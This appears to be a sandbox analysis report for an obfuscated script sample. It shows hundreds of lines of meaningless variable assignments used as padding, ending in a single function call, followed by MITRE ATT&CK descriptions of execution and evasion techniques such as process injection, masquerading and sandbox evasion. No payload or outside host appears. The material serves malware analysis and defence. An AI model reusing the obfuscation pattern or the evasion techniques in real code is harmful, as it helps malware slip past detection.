608	qrvus = "e";
609	qrvus = "U";
610	qrvus = "z";
611	qrvus = "F";
612	qrvus = "J";
613	qrvus = "H";
614	qrvus = "a";
615	qrvus = "s";
616	bdqfj = "w";
617	bdqfj = "X";
618	bdqfj = "M";
619	bdqfj = "g";
620	bdqfj = "z";
621	bdqfj = "x";
622	bdqfj = "V";
623	bdqfj = "P";
624	bdqfj = "C";
625	bdqfj = "K";
626	bdqfj = "j";
627	bdqfj = "u";
628	bdqfj = "I";
629	bdqfj = "h";
630	bdqfj = "K";
631	bdqfj = "p";
632	bdqfj = "E";
633	bdqfj = "L";
634	bdqfj = "O";
635	bdqfj = "s";
636	bdqfj = "h";
637	bdqfj = "L";
638	bdqfj = "F";
639	bdqfj = "t";
640	bdqfj = "X";
641	bdqfj = "k";
642	bdqfj = "o";
643	bdqfj = "T";
644	bdqfj = "&";
645	rmazor = "o";
646	rmazor = "o";
647	rmazor = "T";
648	rmazor = "K";
649	rmazor = "C";
650	rmazor = "f";
651	rmazor = "M";
652	rmazor = "o";
653	rmazor = "o";
654	rmazor = "V";
655	rmazor = "q";
656	rmazor = "n";
657	rmazor = "t";
658	rmazor = "P";
659	rmazor = "K";
660	rmazor = "A";
661	rmazor = "k";
662	rmazor = "J";
663	rmazor = "c";
664	kxqfeighr = "m";
665	kxqfeighr = "T";
666	kxqfeighr = "p";
667	kxqfeighr = "N";
668	kxqfeighr = "Q";
669	kxqfeighr = "y";
670	kxqfeighr = "V";
671	kxqfeighr = "a";
672	kxqfeighr = "D";
673	kxqfeighr = "U";
674	kxqfeighr = "i";
675	kxqfeighr = "Q";
676	vjcjjb = "h";
677	vjcjjb = "E";
678	vjcjjb = "g";
679	vjcjjb = "D";
680	vjcjjb = "d";
681	vjcjjb = "G";
682	vjcjjb = "n";
683	vjcjjb = "Q";
684	vjcjjb = "L";
685	vjcjjb = "Y";
686	vjcjjb = "t";
687	vjcjjb = "V";
688	vjcjjb = "U";
689	vjcjjb = "l";
690	vjcjjb = "z";
691	vjcjjb = "L";
692	vjcjjb = "p";
693	vjcjjb = "w";
694	vjcjjb = "m";
695	vjcjjb = "k";
696	vjcjjb = "T";
697	vjcjjb = "a";
698	vjcjjb = "B";
699	vjcjjb = "L";
700	vjcjjb = "B";
701	vjcjjb = "c";
702	vjcjjb = "R";
703	vjcjjb = "H";
704	vjcjjb = "T";
705	vjcjjb = "v";
706	vjcjjb = "A";
707	vjcjjb = "z";
708	vjcjjb = "B";
709	vjcjjb = "O";
710	vjcjjb = "Z";
711	vjcjjb = "k";
712	vjcjjb = "A";
713	vjcjjb = "q";
714	yufxz = "t";
715	yufxz = "K";
716	yufxz = "e";
717	yufxz = "w";
718	yufxz = "h";
719	yufxz = "L";
720	yufxz = "s";
721	yufxz = "I";
722	yufxz = "l";
723	yufxz = "\\";
724	xllfrjwx = "Y";
725	xllfrjwx = "X";
726	xllfrjwx = "J";
727	xllfrjwx = "n";
728	xllfrjwx = "Y";
729	xllfrjwx = "K";
730	xllfrjwx = "X";
731	xllfrjwx = "w";
732	xllfrjwx = "A";
733	xllfrjwx = "g";
734	xllfrjwx = "J";
735	xllfrjwx = "h";
736	xllfrjwx = "s";
737	xllfrjwx = "d";
738	xllfrjwx = "q";
739	xllfrjwx = "T";
740	xllfrjwx = "Y";
741	xllfrjwx = "G";
742	xllfrjwx = "a";
743	xllfrjwx = "Y";
744	xllfrjwx = "M";
745	xllfrjwx = "w";
746	xllfrjwx = "S";
747	xllfrjwx = "Q";
748	xllfrjwx = "C";
749	xllfrjwx = "s";
750	xllfrjwx = "J";
751	xllfrjwx = "X";
752	xllfrjwx = "v";
753	xllfrjwx = "b";
754	xllfrjwx = "D";
755	xllfrjwx = "C";
756	xllfrjwx = "U";
757	xllfrjwx = "x";
758	xllfrjwx = "E";
759	xllfrjwx = "b";
760	xllfrjwx = "S";
761	otoaaiy = "M";
762	otoaaiy = "s";
763	otoaaiy = "d";
764	otoaaiy = "o";
765	krqmthdk = "l";
766	krqmthdk = "Q";
767	krqmthdk = "b";
768	krqmthdk = "x";
769	krqmthdk = "N";
770	krqmthdk = "p";
771	krqmthdk = "V";
772	krqmthdk = "H";
773	krqmthdk = "L";
774	krqmthdk = "e";
775	krqmthdk = "g";
776	krqmthdk = "l";
777	krqmthdk = "j";
778	krqmthdk = "u";
779	usthwcfsa = "P";
780	usthwcfsa = "I";
781	usthwcfsa = "p";
782	usthwcfsa = "b";
783	usthwcfsa = "K";
784	usthwcfsa = "d";
785	usthwcfsa = "w";
786	usthwcfsa = "c";
787	usthwcfsa = "I";
788	usthwcfsa = "M";
789	usthwcfsa = "Q";
790	usthwcfsa = "m";
791	usthwcfsa = "z";
792	usthwcfsa = "F";
793	usthwcfsa = "C";
794	usthwcfsa = "M";
795	usthwcfsa = "k";
796	usthwcfsa = "p";
797	usthwcfsa = "B";
798	usthwcfsa = "K";
799	usthwcfsa = "f";
800	usthwcfsa = "h";
801	usthwcfsa = "C";
802	usthwcfsa = "p";
803	usthwcfsa = "M";
804	usthwcfsa = "A";
805	usthwcfsa = "L";
806	usthwcfsa = "w";
807	usthwcfsa = "i";
808	usthwcfsa = "G";
809	usthwcfsa = "q";
810	usthwcfsa = "N";
811	usthwcfsa = "n";
812	usthwcfsa = "N";
813	usthwcfsa = "s";
814	usthwcfsa = "T";
815	usthwcfsa = "W";
816	usthwcfsa = "T";
817	usthwcfsa = "V";
818	usthwcfsa = "V";
819	usthwcfsa = "k";
820	usthwcfsa = "Y";
821	pwergixq = "D";
822	pwergixq = "c";
823	pwergixq = "r";
824	pwergixq = "v";
825	pwergixq = "V";
826	pwergixq = "c";
827	pwergixq = "D";
828	pwergixq = "N";
829	pwergixq = "G";
830	pwergixq = "s";
831	pwergixq = "H";
832	pwergixq = "E";
833	pwergixq = "L";
834	pwergixq = "l";
835	pwergixq = "h";
836	fexez = "J";
837	fexez = "S";
838	fexez = "O";
839	fexez = "q";
840	fexez = "d";
841	fexez = "u";
842	fexez = "C";
843	fexez = "Y";
844	fexez = "F";
845	fexez = "V";
846	fexez = "Z";
847	fexez = "a";
848	fexez = "O";
849	fexez = "b";
850	fexez = "H";
851	fexez = "L";
852	fexez = "V";
853	fexez = "c";
854	fexez = "e";
855	vtcvyphg = "t";
856	vtcvyphg = "Z";
857	vtcvyphg = "l";
858	vtcvyphg = "z";
859	vtcvyphg = "d";
860	vtcvyphg = "R";
861	vtcvyphg = "t";
862	vtcvyphg = "F";
863	vtcvyphg = "v";
864	vtcvyphg = "l";
865	vtcvyphg = "Q";
866	vtcvyphg = "i";
867	vtcvyphg = "d";
868	vtcvyphg = "z";
869	vtcvyphg = "A";
870	vtcvyphg = "V";
871	vtcvyphg = "y";
872	vtcvyphg = "i";
873	vtcvyphg = "b";
874	vtcvyphg = "c";
875	vtcvyphg = "I";
876	vtcvyphg = "r";
877	vtcvyphg = "D";
878	vtcvyphg = "W";
879	vtcvyphg = "Y";
880	vtcvyphg = "o";
881	vtcvyphg = "Y";
882	vtcvyphg = "v";
883	vtcvyphg = "G";
884	vtcvyphg = "Z";
885	vtcvyphg = "L";
886	vtcvyphg = "c";
887	vtcvyphg = "f";
888	vtcvyphg = "C";
889	vtcvyphg = "O";
890	vtcvyphg = "B";
891	vtcvyphg = "o";
892	vtcvyphg = "k";
893	vtcvyphg = "y";
894	vtcvyphg = "v";
895	pnbojjzj = "j";
896	pnbojjzj = "g";
897	pnbojjzj = "M";
898	pnbojjzj = "j";
899	pnbojjzj = "F";
900	pnbojjzj = "b";
901	pnbojjzj = "Z";
902	pnbojjzj = "c";
903	pnbojjzj = "d";
904	pnbojjzj = "G";
905	pnbojjzj = "S";
906	pnbojjzj = "x";
907	pnbojjzj = "E";
908	pnbojjzj = "e";
909	pnbojjzj = "n";
910	pnbojjzj = "I";
911	pnbojjzj = "Y";
912	pnbojjzj = "D";
913	pnbojjzj = "Y";
914	pnbojjzj = "l";
915	pnbojjzj = "A";
916	pnbojjzj = "a";
917	pnbojjzj = "K";
918	pnbojjzj = "s";
919	pnbojjzj = "p";
920	pnbojjzj = "M";
921	pnbojjzj = "r";
922	pnbojjzj = "M";
923	pnbojjzj = "k";
924	pnbojjzj = "y";
925	pnbojjzj = "J";
926	pnbojjzj = "c";
927	pnbojjzj = "j";
928	pnbojjzj = "g";
929	pnbojjzj = "o";
930	pnbojjzj = "C";
931	pnbojjzj = "Q";
932	pnbojjzj = "K";
933	pnbojjzj = "N";
934	pnbojjzj = "m";
935	mcnterrbe = "F";
936	mcnterrbe = "D";
937	mcnterrbe = "B";
938	mcnterrbe = "F";
939	mcnterrbe = "v";
940	mcnterrbe = "q";
941	mcnterrbe = "W";
942	mcnterrbe = "e";
943	mcnterrbe = "i";
944	mcnterrbe = "y";
945	mcnterrbe = "B";
946	mcnterrbe = "k";
947	mcnterrbe = "g";
948	mcnterrbe = "d";
949	mcnterrbe = "w";
950	mcnterrbe = "H";
951	mcnterrbe = "h";
952	mcnterrbe = "k";
953	mcnterrbe = "h";
954	mcnterrbe = "T";
955	mcnterrbe = "S";
956	mcnterrbe = "i";
957	mcnterrbe = "G";
958	mcnterrbe = "w";
959	mcnterrbe = "c";
960	mcnterrbe = "L";
961	mcnterrbe = "m";
962	mcnterrbe = "d";
963	mcnterrbe = "8";
964	opzcoozsu = "Z";
965	opzcoozsu = "n";
966	opzcoozsu = "D";
967	opzcoozsu = "W";
968	opzcoozsu = "r";
969	opzcoozsu = "F";
970	opzcoozsu = "R";
971	opzcoozsu = "d";
972	opzcoozsu = "J";
973	opzcoozsu = "v";
974	opzcoozsu = "I";
975	opzcoozsu = "b";
976	opzcoozsu = "h";
977	opzcoozsu = "V";
978	opzcoozsu = "p";
979	opzcoozsu = "z";
980	opzcoozsu = "e";
981	opzcoozsu = "g";
982	opzcoozsu = "t";
983	opzcoozsu = "M";
984	opzcoozsu = "D";
985	opzcoozsu = "J";
986	opzcoozsu = "V";
987	opzcoozsu = "O";
988	opzcoozsu = "f";
989	opzcoozsu = "P";
990	opzcoozsu = "T";
991	opzcoozsu = "I";
992	opzcoozsu = "j";
993	opzcoozsu = "B";
994	opzcoozsu = "K";
995	opzcoozsu = "z";
996	opzcoozsu = "o";
997	opzcoozsu = "Y";
998	opzcoozsu = "z";
999	opzcoozsu = "c";
1000	opzcoozsu = "D";
1001	opzcoozsu = "5";
1002	zdfqrkrwy = "k";
1003	zdfqrkrwy = "M";
1004	zdfqrkrwy = "A";
1005	zdfqrkrwy = "f";
1006	zdfqrkrwy = "O";
1007	zdfqrkrwy = "a";
1008	zdfqrkrwy = "h";
1009	zdfqrkrwy = "V";
1010	zdfqrkrwy = "h";
1011	zdfqrkrwy = "z";
1012	zdfqrkrwy = "T";
1013	zdfqrkrwy = "T";
1014	zdfqrkrwy = "E";
1015	zdfqrkrwy = "Q";
1016	zdfqrkrwy = "w";
1017	zdfqrkrwy = "p";
1018	zdfqrkrwy = "k";
1019	zdfqrkrwy = "x";
1020	zdfqrkrwy = "y";
1021	zdfqrkrwy = "w";
1022	zdfqrkrwy = "g";
1023	zdfqrkrwy = "Z";
1024	zdfqrkrwy = "%";
1025	bolbx = "M";
1026	bolbx = "i";
1027	bolbx = "c";
1028	bolbx = "F";
1029	bolbx = "h";
1030	bolbx = "g";
1031	bolbx = "G";
1032	bolbx = "X";
1033	bolbx = "x";
1034	bolbx = "i";
1035	bolbx = "v";
1036	bolbx = "L";
1037	bolbx = "B";
1038	bolbx = "J";
1039	bolbx = "M";
1040	bolbx = "K";
1041	bolbx = "V";
1042	bolbx = "i";
1043	bolbx = "F";
1044	bolbx = "p";
1045	bolbx = "J";
1046	bolbx = "f";
1047	bolbx = "I";
1048	bolbx = "b";
1049	bolbx = "e";
1050	bolbx = "q";
1051	bolbx = "s";
1052	bolbx = "B";
1053	bolbx = "I";
1054	bolbx = "C";
1055	bolbx = "u";
1056	bolbx = "i";
1057	bolbx = "H";
1058	nthnlcf = "x";
1059	nthnlcf = "B";
1060	nthnlcf = "K";
1061	nthnlcf = "i";
1062	nthnlcf = "A";
1063	nthnlcf = "D";
1064	nthnlcf = "g";
1065	nthnlcf = "D";
1066	nthnlcf = "I";
1067	nthnlcf = "I";
1068	nthnlcf = "b";
1069	nthnlcf = "Y";
1070	nthnlcf = "f";
1071	nthnlcf = "S";
1072	nthnlcf = "F";
1073	nthnlcf = "g";
1074	nthnlcf = "W";
1075	nthnlcf = "g";
1076	nthnlcf = "C";
1077	nthnlcf = "v";
1078	nthnlcf = "B";
1079	nthnlcf = "D";
1080	nthnlcf = "i";
1081	nthnlcf = "S";
1082	nthnlcf = "M";
1083	nthnlcf = " ";
1084	bayuyz = "D";
1085	bayuyz = "F";
1086	bayuyz = "f";
1087	bayuyz = "a";
1088	bayuyz = "d";
1089	bayuyz = "W";
1090	bayuyz = "C";
1091	bayuyz = "e";
1092	bayuyz = "P";
1093	bayuyz = "f";
1094	bayuyz = "G";
1095	bayuyz = "k";
1096	bayuyz = "v";
1097	bayuyz = "j";
1098	bayuyz = "B";
1099	bayuyz = "Y";
1100	bayuyz = "P";
1101	bayuyz = "A";
1102	bayuyz = "o";
1103	bayuyz = "z";
1104	bayuyz = "P";
1105	bayuyz = "H";
1106	bayuyz = "n";
1107	bayuyz = "b";
1108	mohsn = "b";
1109	mohsn = "S";
1110	mohsn = "t";
1111	mohsn = "W";
1112	mohsn = "Q";
1113	mohsn = "r";
1114	mohsn = "S";
1115	mohsn = "b";
1116	mohsn = "J";
1117	mohsn = "e";
1118	mohsn = "N";
1119	mohsn = "N";
1120	mohsn = "i";
1121	mohsn = "f";
1122	mohsn = "r";
1123	mohsn = "x";
1124	mohsn = "r";
1125	mohsn = "Q";
1126	mohsn = "E";
1127	utnxhzf = "W";
1128	utnxhzf = "N";
1129	kcizb = "E";
1130	kcizb = "f";
1131	kcizb = "t";
1132	kcizb = "m";
1133	kcizb = "E";
1134	kcizb = "q";
1135	kcizb = "Z";
1136	kcizb = "W";
1137	kcizb = "c";
1138	kcizb = "X";
1139	kcizb = "D";
1140	kcizb = "E";
1141	kcizb = "h";
1142	kcizb = "Y";
1143	kcizb = "E";
1144	kcizb = "t";
1145	kcizb = "x";
1146	kcizb = "h";
1147	kcizb = "C";
1148	kcizb = "h";
1149	kcizb = "e";
1150	kcizb = "m";
1151	kcizb = "N";
1152	kcizb = "W";
1153	kcizb = "y";
1154	kcizb = "O";
1155	kcizb = "G";
1156	kcizb = "m";
1157	kcizb = "l";
1158	kcizb = "O";
1159	kcizb = "D";
1160	kcizb = "w";
1161	kcizb = "s";
1162	kcizb = "H";
1163	kcizb = "p";
1164	kcizb = "O";
1165	kcizb = "b";
1166	kcizb = "k";
1167	kcizb = "q";
1168	kcizb = "i";
1169	kcizb = "r";
1170	hiwgcxafi = "L";
1171	hiwgcxafi = "q";
1172	hiwgcxafi = "e";
1173	hiwgcxafi = "Z";
1174	hiwgcxafi = "d";
1175	hiwgcxafi = "X";
1176	hiwgcxafi = "x";
1177	hiwgcxafi = "N";
1178	hiwgcxafi = "W";
1179	hiwgcxafi = "h";
1180	hiwgcxafi = "w";
1181	hiwgcxafi = "O";
1182	hiwgcxafi = "c";
1183	hiwgcxafi = "M";
1184	hiwgcxafi = "E";
1185	hiwgcxafi = "r";
1186	hiwgcxafi = "s";
1187	hiwgcxafi = "d";
1188	hiwgcxafi = "w";
1189	hiwgcxafi = "Y";
1190	hiwgcxafi = "p";
1191	hiwgcxafi = "n";
1192	hiwgcxafi = "f";
1193	hiwgcxafi = "X";
1194	hiwgcxafi = "y";
1195	hiwgcxafi = "z";
1196	hiwgcxafi = "g";
1197	hiwgcxafi = "b";
1198	hiwgcxafi = "v";
1199	hiwgcxafi = "o";
1200	hiwgcxafi = "s";
1201	hiwgcxafi = "y";
1202	hiwgcxafi = "v";
1203	hiwgcxafi = "q";
1204	hiwgcxafi = "h";
1205	hiwgcxafi = "s";
1206	hiwgcxafi = "y";
1207	hiwgcxafi = "t";
1208	hiwgcxafi = "F";
1209	hiwgcxafi = "i";
1210	qknxsdjr = "V";
1211	qknxsdjr = "l";
1212	qknxsdjr = "j";
1213	qknxsdjr = "R";
1214	qknxsdjr = "B";
1215	qknxsdjr = "Y";
1216	qknxsdjr = "D";
1217	qknxsdjr = "X";
1218	qknxsdjr = "G";
1219	qknxsdjr = "u";
1220	qknxsdjr = "f";
1221	qknxsdjr = "b";
1222	qknxsdjr = "t";
1223	qknxsdjr = "f";
1224	qknxsdjr = "C";
1225	qknxsdjr = "p";
1226	qknxsdjr = "a";
1227	qknxsdjr = "m";
1228	qknxsdjr = "G";
1229	qknxsdjr = "Z";
1230	qknxsdjr = "N";
1231	qknxsdjr = "p";
1232	qknxsdjr = "r";
1233	qknxsdjr = "z";
1234	qknxsdjr = "G";
1235	qknxsdjr = "m";
1236	qknxsdjr = "f";
1237	qknxsdjr = "Z";
1238	qknxsdjr = "F";
1239	qknxsdjr = "h";
1240	qknxsdjr = "I";
1241	qknxsdjr = "B";
1242	qknxsdjr = "R";
1243	qknxsdjr = "y";
1244	qknxsdjr = "h";
1245	qknxsdjr = ".";
1246	vwqdwud = "t";
1247	vwqdwud = "W";
1248	vwqdwud = "D";
1249	vwqdwud = "N";
1250	vwqdwud = "T";
1251	vwqdwud = "I";
1252	ggtqgiqvy = "R";
1253	ggtqgiqvy = "W";
1254	ggtqgiqvy = "w";
1255	ggtqgiqvy = "A";
1256	ggtqgiqvy = "V";
1257	ggtqgiqvy = "T";
1258	ggtqgiqvy = "f";
1259	ggtqgiqvy = "S";
1260	ggtqgiqvy = "L";
1261	ggtqgiqvy = "G";
1262	ggtqgiqvy = "d";
1263	ggtqgiqvy = "g";
1264	ggtqgiqvy = "A";
1265	ggtqgiqvy = "j";
1266	ggtqgiqvy = "f";
1267	ggtqgiqvy = "n";
1268	ggtqgiqvy = "K";
1269	ggtqgiqvy = "I";
1270	ggtqgiqvy = "p";
1271	ggtqgiqvy = "p";
1272	ggtqgiqvy = "s";
1273	ggtqgiqvy = "w";
1274	ggtqgiqvy = "i";
1275	ggtqgiqvy = "V";
1276	ggtqgiqvy = "y";
1277	ggtqgiqvy = "E";
1278	ggtqgiqvy = "w";
1279	ggtqgiqvy = "A";
1280	ggtqgiqvy = "e";
1281	ggtqgiqvy = "p";
1282	ggtqgiqvy = "x";
1283	ggtqgiqvy = "i";
1284	ggtqgiqvy = "L";
1285	ggtqgiqvy = "g";
1286	ggtqgiqvy = "f";
1287	ggtqgiqvy = "V";
1288	ggtqgiqvy = "V";
1289	ggtqgiqvy = "w";
1290	ggtqgiqvy = "j";
1291	ggtqgiqvy = "C";
1292	ggtqgiqvy = "i";
1293	ggtqgiqvy = "x";
1294	enlyqnmm = "f";
1295	enlyqnmm = "c";
1296	enlyqnmm = "Z";
1297	enlyqnmm = "z";
1298	enlyqnmm = "b";
1299	enlyqnmm = "F";
1300	enlyqnmm = "s";
1301	enlyqnmm = "O";
1302	enlyqnmm = "K";
1303	enlyqnmm = "g";
1304	enlyqnmm = "d";
1305	enlyqnmm = "C";
1306	enlyqnmm = "G";
1307	enlyqnmm = "m";
1308	enlyqnmm = "L";
1309	enlyqnmm = "o";
1310	enlyqnmm = "i";
1311	enlyqnmm = "J";
1312	enlyqnmm = "O";
1313	enlyqnmm = "f";
1314	enlyqnmm = "T";
1315	enlyqnmm = "W";
1316	enlyqnmm = "e";
1317	enlyqnmm = "Z";
1318	enlyqnmm = "Q";
1319	enlyqnmm = "y";
1320	enlyqnmm = "u";
1321	enlyqnmm = "z";
1322	enlyqnmm = "x";
1323	enlyqnmm = "E";
1324	enlyqnmm = "c";
1325	enlyqnmm = "S";
1326	enlyqnmm = "E";
1327	enlyqnmm = "W";
1328	enlyqnmm = "E";
1329	enlyqnmm = "W";
1330	cvxsyaha = "i";
1331	cvxsyaha = "O";
1332	cvxsyaha = "j";
1333	cvxsyaha = "X";
1334	cvxsyaha = "R";
1335	cvxsyaha = "f";
1336	cvxsyaha = "w";
1337	cvxsyaha = "l";
1338	cvxsyaha = "l";
1339	cvxsyaha = "B";
1340	cvxsyaha = "j";
1341	cvxsyaha = "X";
1342	cvxsyaha = "P";
1343	cvxsyaha = "Q";
1344	cvxsyaha = "W";
1345	cvxsyaha = "x";
1346	cvxsyaha = "Q";
1347	cvxsyaha = "H";
1348	cvxsyaha = "R";
1349	cvxsyaha = "R";
1350	cvxsyaha = "E";
1351	cvxsyaha = "z";
1352	cvxsyaha = "Y";
1353	cvxsyaha = "N";
1354	cvxsyaha = "u";
1355	cvxsyaha = "f";
1356	cvxsyaha = "I";
1357	cvxsyaha = "I";
1358	cvxsyaha = "G";
1359	cvxsyaha = "M";
1360	cvxsyaha = "k";
1361	cvxsyaha = "L";
1362	cvxsyaha = "e";
1363	cvxsyaha = "d";
1364	cvxsyaha = "n";
1365	cvxsyaha = "Z";
1366	cvxsyaha = "V";
1367	cvxsyaha = "g";
1368	cvxsyaha = "V";
1369	cvxsyaha = "d";
1370	wrmnhw = "C";
1371	wrmnhw = "G";
1372	wrmnhw = "n";
1373	wrmnhw = "F";
1374	wrmnhw = "R";
1375	wrmnhw = "M";
1376	wrmnhw = "S";
1377	wrmnhw = "m";
1378	wrmnhw = "P";
1379	wrmnhw = "L";
1380	wrmnhw = "U";
1381	wrmnhw = "r";
1382	wrmnhw = "y";
1383	wrmnhw = "z";
1384	wrmnhw = "H";
1385	wrmnhw = "y";
1386	wrmnhw = "m";
1387	wrmnhw = "l";
1388	wrmnhw = "v";
1389	wrmnhw = "z";
1390	wrmnhw = "c";
1391	wrmnhw = "s";
1392	wrmnhw = "f";
1393	wrmnhw = "2";
1394	knpxmtgoh = "W";
1395	knpxmtgoh = "E";
1396	knpxmtgoh = "e";
1397	knpxmtgoh = "R";
1398	knpxmtgoh = "W";
1399	knpxmtgoh = "U";
1400	knpxmtgoh = "L";
1401	knpxmtgoh = "O";
1402	knpxmtgoh = "k";
1403	knpxmtgoh = "m";
1404	knpxmtgoh = "y";
1405	knpxmtgoh = "P";
1406	knpxmtgoh = "T";
1407	knpxmtgoh = "u";
1408	knpxmtgoh = "j";
1409	knpxmtgoh = "f";
1410	knpxmtgoh = "U";
1411	knpxmtgoh = "d";
1412	knpxmtgoh = "B";
1413	knpxmtgoh = "S";
1414	knpxmtgoh = "S";
1415	knpxmtgoh = "N";
1416	knpxmtgoh = "J";
1417	knpxmtgoh = "d";
1418	knpxmtgoh = "l";
1419	knpxmtgoh = "f";
1420	knpxmtgoh = "K";
1421	knpxmtgoh = "r";
1422	knpxmtgoh = "Y";
1423	knpxmtgoh = "D";
1424	knpxmtgoh = "a";
1425	fhnrqrx = "o";
1426	fhnrqrx = "a";
1427	fhnrqrx = "n";
1428	fhnrqrx = "v";
1429	fhnrqrx = "k";
1430	fhnrqrx = "S";
1431	fhnrqrx = "E";
1432	fhnrqrx = "J";
1433	fhnrqrx = "o";
1434	fhnrqrx = "l";
1435	fhnrqrx = "s";
1436	fhnrqrx = "R";
1437	fhnrqrx = "r";
1438	fhnrqrx = "V";
1439	fhnrqrx = "f";
1440	fhnrqrx = "m";
1441	fhnrqrx = "J";
1442	fhnrqrx = "L";
1443	fhnrqrx = "n";
1444	fhnrqrx = "I";
1445	fhnrqrx = "w";
1446	fhnrqrx = "g";
1447	fhnrqrx = "b";
1448	fhnrqrx = "j";
1449	fhnrqrx = "j";
1450	fhnrqrx = "V";
1451	fhnrqrx = "r";
1452	fhnrqrx = "F";
1453	fhnrqrx = "u";
1454	fhnrqrx = "X";
1455	fhnrqrx = "N";
1456	fhnrqrx = "l";
1457	pqpioh = "Z";
1458	pqpioh = "r";
1459	pqpioh = "q";
1460	pqpioh = "I";
1461	pqpioh = "H";
1462	pqpioh = "z";
1463	pqpioh = "Q";
1464	pqpioh = "B";
1465	pqpioh = "Z";
1466	pqpioh = "I";
1467	pqpioh = "q";
1468	pqpioh = "w";
1469	rwfsjyku = "Z";
1470	rwfsjyku = "a";
1471	rwfsjyku = "I";
1472	rwfsjyku = "f";
1473	rwfsjyku = "H";
1474	rwfsjyku = "O";
1475	rwfsjyku = "k";
1476	rwfsjyku = "X";
1477	rwfsjyku = "Q";
1478	rwfsjyku = "x";
1479	rwfsjyku = "h";
1480	rwfsjyku = "f";
1481	rwfsjyku = "L";
1482	rwfsjyku = "X";
1483	rwfsjyku = "x";
1484	rwfsjyku = "T";
1485	rwfsjyku = "J";
1486	rwfsjyku = "R";
1487	rwfsjyku = "S";
1488	rwfsjyku = "Y";
1489	rwfsjyku = "M";
1490	rwfsjyku = "p";
1491	rwfsjyku = "t";
1492	rwfsjyku = "w";
1493	rwfsjyku = "Q";
1494	rwfsjyku = "G";
1495	rwfsjyku = "L";
1496	rwfsjyku = "S";
1497	rwfsjyku = "C";
1498	rwfsjyku = "L";
1499	rwfsjyku = "q";
1500	rwfsjyku = "Q";
1501	rwfsjyku = "Y";
1502	rwfsjyku = "c";
1503	rwfsjyku = "s";
1504	rwfsjyku = "S";
1505	rwfsjyku = "o";
1506	rwfsjyku = "_";
1507	hnpimxbog ( );	hnpimxbog() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
